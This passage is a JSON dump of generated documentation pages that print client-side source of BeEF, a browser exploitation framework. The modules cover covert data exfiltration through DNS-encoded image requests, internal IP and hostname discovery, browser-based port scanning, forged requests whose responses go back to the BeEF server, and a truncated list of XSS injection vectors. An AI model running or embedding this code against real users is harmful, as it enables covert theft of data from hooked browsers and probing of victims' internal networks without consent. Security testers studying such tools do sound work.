href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_cors.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/cors.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/cors.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>/**\n * @namespace beef.net.cors\n */\n\nbeef.net.cors = {\n\n  handler: \"cors\",\n\n    /**\n     * Response Object - used in the beef.net.request callback\n     */\n    response:function () {\n        this.status  = null;      // 500, 404, 200, 302, etc\n        this.headers = null;      // full response headers\n        this.body    = null;      // full response body\n    },\n\n    /**\n     * Make a cross-origin request using CORS\n     *\n     * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)\n     * @param url {String} url\n     * @param data {String} request body\n     * @param timeout {Integer} request timeout in milliseconds\n     * @param callback {Function} function to callback on completion\n     */\n    request: function(method, url, data, timeout, callback) {\n\n    var xhr;\n    var response = new this.response;\n\n    if (XMLHttpRequest) {\n        xhr = new XMLHttpRequest();\n\n        if ('withCredentials' in xhr) {\n            xhr.open(method, url, true);\n            xhr.timeout = parseInt(timeout, 10);\n            xhr.onerror = function() {\n            };\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    response.headers = this.getAllResponseHeaders()\n                    response.body    = this.responseText;\n                    response.status  = this.status;\n                    if (!!callback) {\n                        if (!!response) {\n                            callback(response);\n                        } else { \n                            callback('ERROR: No Response. CORS requests may be denied for this resource.')\n                        }\n                    }\n                }\n            };\n            xhr.send(data);\n        }\n    } else if (typeof XDomainRequest != \"undefined\") {\n        xhr = new XDomainRequest();\n        xhr.open(method, url);\n        xhr.onerror = function() {\n        };\n        xhr.onload = function() {\n            response.headers = this.getAllResponseHeaders()\n            response.body    = this.responseText;\n            response.status  = this.status;\n            if (!!callback) {\n                if (!!response) {\n                    callback(response);\n                } else {\n                    callback('ERROR: No Response. CORS requests may be denied for this resource.')\n                }\n            }\n        };\n        xhr.send(data);\n    } else {\n        if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');\n    }\n\n    }\n\n};\n\nbeef.regCmp('beef.net.cors');\n\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_dns.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/dns.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/dns.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * \n * request object structure:\n * + msgId: {Integer} Unique message ID for the request.\n * + domain: {String} Remote domain to retrieve the data.\n * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED\n * + callback: {Function} Callback function to receive the number of requests sent.\n * @namespace beef.net.dns\n */\n\nbeef.net.dns = {\n\n\thandler: \"dns\",\n    /**\n     * \n     * @param msgId \n     * @param data \n     * @param domain \n     * @param callback \n     */\n\tsend: function(msgId, data, domain, callback) {\n\n        var encode_data = function(str) {\n            var result=\"\";\n            for(i=0;i&lt;str.length;++i) {\n                result+=str.charCodeAt(i).toString(16).toUpperCase();\n            }\n            return result;\n        };\n\n        var encodedData = encodeURI(encode_data(data));\n\n        beef.debug(encodedData);\n        beef.debug(\"_encodedData_ length: \" + encodedData.length);\n\n        // limitations to DNS according to RFC 1035:\n        // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters\n        // o Domain names are limited to 255 characters in length (including dots)\n        // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)\n        // o Subdomains are limited to 63 characters in length (including the trailing dot)\n\n        // DNS request structure:\n        // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN\n      //max_length: 3.   3   .   3   . 63 . x\n\n        // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.\n        // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)\n        var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots\n        var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers\n        var max_data_segment_length = 63; // by RFC\n\n        beef.debug(\"max_data_segment_length: \" + max_data_segment_length);\n\n        var dom = document.createElement('b');\n\n        String.prototype.chunk = function(n) {\n            if (typeof n=='undefined') n=100;\n            return this.match(RegExp('.{1,'+n+'}','g'));\n        };\n\n        var sendQuery = function(query) {\n            var img = new Image;\n            //img.src = \"http://\"+query;\n            img.src = beef.net.httpproto + \"://\" + query; // prevents issues with mixed content\n            img.onload = function() { dom.removeChild(this); }\n            img.onerror = function() { dom.removeChild(this); }\n            dom.appendChild(img);\n\n            //experimental\n            //setTimeout(function(){dom.removeChild(img)},1000);\n        };\n\n        var segments = encodedData.chunk(max_data_segment_length);\n\n        var ident = \"0xb3\"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request\n\n        beef.debug(segments.length);\n\n        for (var seq=1; seq&lt;=segments.length; seq++) {\n            sendQuery(ident + msgId + \".\" + seq + \".\" + segments.length + \".\" + segments[seq-1] + \".\" + domain);\n        }\n\n\t\t// callback - returns the number of queries sent\n\t\tif (!!callback) callback(segments.length);\n\n\t}\n\n};\n\nbeef.regCmp('beef.net.dns');\n\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_local.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/local.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/local.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides networking functions for the local/internal network of the zombie.\n * @namespace beef.net.local\n */\nbeef.net.local = {\n\t\n\tsock: false,\n\tcheckJava: false,\n\thasJava: false,\n\t\n\t/**\n\t * Initializes the java socket. We have to use this method because\n\t * some browsers do not have java installed or it is not accessible.\n\t * in which case creating a socket directly generates an error. So this code\n\t * is invalid:\n\t * sock: new java.net.Socket();\n\t */\n\tinitializeSocket: function() {\n\t\tif(this.checkJava){\t\n\t\t\tif(!beef.browser.hasJava()) {\n\t\t\t\tthis.checkJava=True;\n\t\t\t\tthis.hasJava=False;\n\t\t\t\treturn -1;\n\t\t\t}else{\n\t\t\t\tthis.checkJava=True;\n\t\t\t\tthis.hasJava=True;\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tif(!this.hasJava) return -1;\n\t\t\telse{\t\n\t\t\t\ttry {\n\t\t\t\t\tthis.sock = new java.net.Socket();\n\t\t\t\t} catch(e) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t},\n\t\n\t/**\n\t * Returns the internal IP address of the zombie.\n\t * @return {String} the internal ip of the zombie.\n\t * @error return -1 if the internal ip cannot be retrieved.\n\t */\n\tgetLocalAddress: function() {\n\t\tif(!this.hasJava) return false;\n\t\t\n\t\tthis.initializeSocket();\n\t\t\n\t\ttry {\n\t\t\tthis.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));\n\t\t\tthis.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));\n\t\t\t\n\t\t\treturn this.sock.getLocalAddress().getHostAddress();\n\t\t} catch(e) { return false; }\n\t},\n\t\n\t/**\n\t * Returns the internal hostname of the zombie.\n\t * @return {String} the internal hostname of the zombie.\n\t * @error return -1 if the hostname cannot be retrieved.\n\t */\n\tgetLocalHostname: function() {\n\t\tif(!this.hasJava) return false;\n\t\t\n\t\tthis.initializeSocket();\n\t\t\n\t\ttry {\n\t\t\tthis.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));\n\t\t\tthis.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));\n\t\t\t\n\t\t\treturn this.sock.getLocalAddress().getHostName();\n\t\t} catch(e) { return false; }\n\t}\n\t\n};\n\nbeef.regCmp('beef.net.local');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_portscanner.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/portscanner.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/portscanner.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides port scanning functions for the zombie. A mod of pdp's scanner\n * \n * Version: '0.1',\n * author: 'Petko Petkov',\n * homepage: 'http://www.gnucitizen.org'\n * @namespace beef.net.portscanner\n */\n\nbeef.net.portscanner = {\n\n\t\t/**\n\t\t * \n\t\t * @param callback \n\t\t * @param target \n\t\t * @param port \n\t\t * @param timeout \n\t\t */\n\t\tscanPort: function(callback, target, port, timeout) \n\t\t{\n\t\t\tvar timeout = (timeout == null)?100:timeout;\n\t\t\tvar img = new Image();\n\n\t\t\timg.onerror = function () {\n\t\t\t\tif (!img) return;\n\t\t\t\timg = undefined;\n\t\t\t\tcallback(target, port, 'open');\n\t\t\t};\n\n\t\t\timg.onload  = img.onerror;\n\t\t\t\n\t\t\timg.src = 'http://' + target + ':' + port;\n\n\t\t\tsetTimeout(function () {\n\t\t\t\tif (!img) return;\n\t\t\t\timg = undefined;\n\t\t\t\tcallback(target, port, 'closed');\n\t\t\t}, timeout);\n\n\t\t},\n\t\t/**\n\t\t * \n\t\t * @param callback \n\t\t * @param target \n\t\t * @param ports_str \n\t\t * @param timeout \n\t\t */\n\t\tscanTarget: function(callback, target, ports_str, timeout)\n\t\t{\n\t\t\tvar ports = ports_str.split(\",\");\n\n\t\t\tfor (index = 0; index &lt; ports.length; index++) {\n\t\t\t\tthis.scanPort(callback, target, ports[index], timeout);\n\t\t\t};\n\n\t\t}\n};\n\nbeef.regCmp('beef.net.portscanner');\n\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_requester.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/requester.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/requester.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * request object structure:\n * + method: {String} HTTP method to use (GET or POST).\n * + host: {String} hostname\n * + query_string: {String} The query string is a part of the URL which is passed to the program.\n * + uri: {String} The URI syntax consists of a URI scheme name.\n * + headers: {Array} contain the operating parameters of the HTTP request. \n * @namespace beef.net.requester\n */\nbeef.net.requester = {\n\t\n\thandler: \"requester\",\n\t/**\n     * \n     * @param {array} requests_array \n     */\n\tsend: function(requests_array) {\n        for(var i=0; i&lt;requests_array.length; i++){\n            request = requests_array[i];\n            if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';\n            beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);\n            beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id,\n                                       function(res, requestid) { beef.net.send('/requester', requestid, {\n                                           response_data: res.response_body,\n                                           response_status_code: res.status_code,\n                                           response_status_text: res.status_text,\n\t\t\t\t\t                       response_port_status: res.port_status,\n                                           response_headers: res.headers});\n                                       }\n                                 );\n        }\n    }\n};\n\nbeef.regCmp('beef.net.requester');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_xssrays.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/xssrays.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/xssrays.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>/*\n * XSS Rays\n * Legal bit:\n * Do not remove this notice.\n * Copyright (c) 2009 by Gareth Heyes\n * Programmed for Microsoft\n * gareth --at-- businessinfo -dot- co |dot| uk\n * Version 0.5.5\n *\n * This license governs use of the accompanying software. If you use the software, you\n * accept this license. If you do not accept the license, do not use the software.\n * 1. Definitions\n * The terms \"reproduce,\" \"reproduction,\" \"derivative works,\" and \"distribution\" have the\n * same meaning here as under U.S. copyright law.\n * A \"contribution\" is the original software, or any additions or changes to the software.\n * A \"contributor\" is any person that distributes its contribution under this license.\n * \"Licensed patents\" are a contributor's patent claims that read directly on its contribution.\n * 2. Grant of Rights\n * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.\n * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.\n * 3. Conditions and Limitations\n * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.\n * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.\n * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.\n * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.\n * (E) The software is licensed \"as-is.\" You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\n */\n\n/**\n * XssRays 0.5.5 ported to BeEF by Michele \"antisnatchor\" Orru'\n * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),\n * if the vulnerability is triggered the JS code vector will contact back BeEF.\n * Other aspects of the original code have been simplified and improved.\n * @namespace beef.net.xssrays\n */\nbeef.net.xssrays = {\n    handler: \"xssrays\",\n    completed:0,\n    totalConnections:0,\n\n    // BeEF variables\n    xssraysScanId : 0,\n    hookedBrowserSession: \"\",\n    beefRayUrl: \"\",\n    // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. \n    crossDomain: false,\n    cleanUpTimeout:5000,\n\n    //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O\n    vectors: [\n\n\t\t\t\t  {input:\"\\',XSS,\\'\", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\",XSS,\"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\">&lt;script>XSS&lt;\\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\">&lt;body onload=\"XSS\">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 